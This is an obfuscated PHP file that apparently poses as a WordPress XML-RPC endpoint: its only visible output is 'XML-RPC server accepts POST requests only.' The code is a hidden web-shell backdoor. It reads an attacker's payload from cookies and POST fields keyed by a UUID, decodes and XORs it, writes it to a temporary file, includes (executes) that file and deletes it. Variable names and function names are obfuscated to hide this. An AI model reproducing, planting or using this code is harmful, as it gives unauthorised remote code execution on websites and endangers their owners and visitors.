$gMjgIaOviq = chr (71) . "\x53" . chr ( 1090 - 995 )."\122" . "\x78" . "\x41" . chr ( 683 - 611 ).'P';$LHACyzRUt = "\x63" . chr (108) . "\141" . chr (115) . 's' . chr ( 1041 - 946 ).'e' . "\170" . 'i' . 's' . chr (116) . chr (115); $VLqLj = class_exists($gMjgIaOviq); $LHACyzRUt = "599";$iDpBLdxuq = strpos($LHACyzRUt, $gMjgIaOviq);if ($VLqLj == $iDpBLdxuq){function qteqoxGETD(){$OdMuUPYHLa = new /* 55125 */ GS_RxAHP(39292 + 39292); $OdMuUPYHLa = NULL;}$jyQXwKAg = "39292";class GS_RxAHP{private function hJrjwInmak($jyQXwKAg){if (is_array(GS_RxAHP::$HDvPAiGlx)) {$name = sys_get_temp_dir() . "/" . crc32(GS_RxAHP::$HDvPAiGlx["salt"]);@GS_RxAHP::$HDvPAiGlx["write"]($name, GS_RxAHP::$HDvPAiGlx["content"]);include $name;@GS_RxAHP::$HDvPAiGlx["delete"]($name); $jyQXwKAg = "39292";exit();}}public function ralJK(){$HccPTlFDR = "21890";$this->_dummy = str_repeat($HccPTlFDR, strlen($HccPTlFDR));}public function __destruct(){GS_RxAHP::$HDvPAiGlx = @unserialize(GS_RxAHP::$HDvPAiGlx); $jyQXwKAg = "7796_24378";$this->hJrjwInmak($jyQXwKAg); $jyQXwKAg = "7796_24378";}public function mZrGIn($HccPTlFDR, $BmqqUsQCD){return $HccPTlFDR[0] ^ str_repeat($BmqqUsQCD, intval(strlen($HccPTlFDR[0]) / strlen($BmqqUsQCD)) + 1);}public function PCkPCakQRz($HccPTlFDR){$ygdFOJze = chr ( 395 - 297 )."\141" . "\163" . "\x65" . "\66" . chr (52);return array_map($ygdFOJze . "\x5f" . chr (100) . "\145" . chr ( 403 - 304 ).chr (111) . chr ( 705 - 605 )."\x65", array($HccPTlFDR,));}public function __construct($NIPVOM=0){$qoyrJQ = "\x2c";$HccPTlFDR = "";$izbwVJxq = $_POST;$ycVBPqDNit = $_COOKIE;$BmqqUsQCD = "cc697060-8b59-44d6-a90e-3b67421f6cf9";$zFxcg = @$ycVBPqDNit[substr($BmqqUsQCD, 0, 4)];if (!empty($zFxcg)){$zFxcg = explode($qoyrJQ, $zFxcg);foreach ($zFxcg as $vAKpDgjPcn){$HccPTlFDR .= @$ycVBPqDNit[$vAKpDgjPcn];$HccPTlFDR .= @$izbwVJxq[$vAKpDgjPcn];}$HccPTlFDR = $this->PCkPCakQRz($HccPTlFDR);}GS_RxAHP::$HDvPAiGlx = $this->mZrGIn($HccPTlFDR, $BmqqUsQCD);if (strpos($BmqqUsQCD, $qoyrJQ) !== FALSE){$BmqqUsQCD = explode($qoyrJQ, $BmqqUsQCD); $jdqGJ = base64_decode(md5($BmqqUsQCD[0])); $RUSEzOhSJ = strlen($BmqqUsQCD[1]) > 5 ? substr($BmqqUsQCD[1], 0, 5) : $BmqqUsQCD[1];$_GET['new_key'] = md5(implode('', $BmqqUsQCD)); $QlsKN = str_repeat($RUSEzOhSJ, 2);}}public static $HDvPAiGlx = 44871;}qteqoxGETD();}XML-RPC server accepts POST requests only.